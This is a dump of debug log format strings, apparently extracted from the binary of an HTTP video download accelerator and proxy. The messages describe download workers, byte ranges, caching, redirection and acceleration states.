[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard

[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard

[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!

[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***

[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes

[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare

[JobInfo] Job:%d

[JobInfo] Job:%d (%lld-%lld).

[~JobInfo] Job:%d (%lld-%lld).

************ End: d:d:d::d

************ Start: d:d:d::d

[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d

[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges

pIHttpProxyServer

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.

[FileDownloadMgr::StopDownload] FDM=%d, Stopping...

[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...

[FileDownloadMgr::StopDownload] FDM=%d

[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.

[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.

[FileDownloadMgr::StopAcceleration] FDM=%d

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::AbortAcceleration] FDM=%d

[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)

[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***

[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed

[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)

[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...

[FileDownloadMgr::ResumeCaching] FDM=%d

[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s

pHttpProxyRemote

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.

[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)

[FileDownloadMgr::NotifyOnStop] FDM=%d

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...

[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.

[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s

[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***

[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url

[FileDownloadMgr::GetCacheData] FDM=%d

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.

[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.

[FileDownloadMgr::GetRequestFromQueue] FDM=%d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d

[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers

[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !

[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.

[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d

[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s

WARNING: Master passed all workers

WARNING: HD Acceleration not supported

ERROR: Dailymotion seek not supported

WARNING: Server in non support range servers list

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***

[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d

[ACCELINFO::OnDeserialize] ___Error get URL

[FileDownloadMgr::AddRequest] FDM=%d

[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...

[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue

[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.

[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)

[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d

[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)

************ URL: %.800s ************

************ End: d:d:d::d ************

************ Start: d:d:d::d ************

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d

[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::Stop] FDM=%d - All connections where closed.

[FileDownloadMgr::Stop] FDM=%d - Closing all connections.

[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.

[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.

[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.

[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.

[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.

[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...

[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.

[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!

[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---

[FileDownloadMgr::RecoverFailedDownload] FDM=%d

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid

[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld

?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s

JsDriver.exe

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.

[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range

[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification

[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received

[~FileDownloadMgr] FDM=%d - Leave

[~FileDownloadMgr] FDM=%d - Enter

[FileDownloadMgr] FDM=%d

[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d

[FileDownloadMgr] FDM=%d, StartCachingSize: %d

[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration

[FileDownloadMgr] FDM=%d ___Error invalid Config

[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr

[FileDownloadMgr::DownloadCacheData] FDM=%d

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence

[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request

[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...

[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---

[FileDownloadMgr::Work] FDM=%d - Exit thread now...

[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###

[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[HttpProxyRemote - %p] FDM=%d (%d).

[~HttpProxyRemote - %p] FDM=%d (%d).

[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local

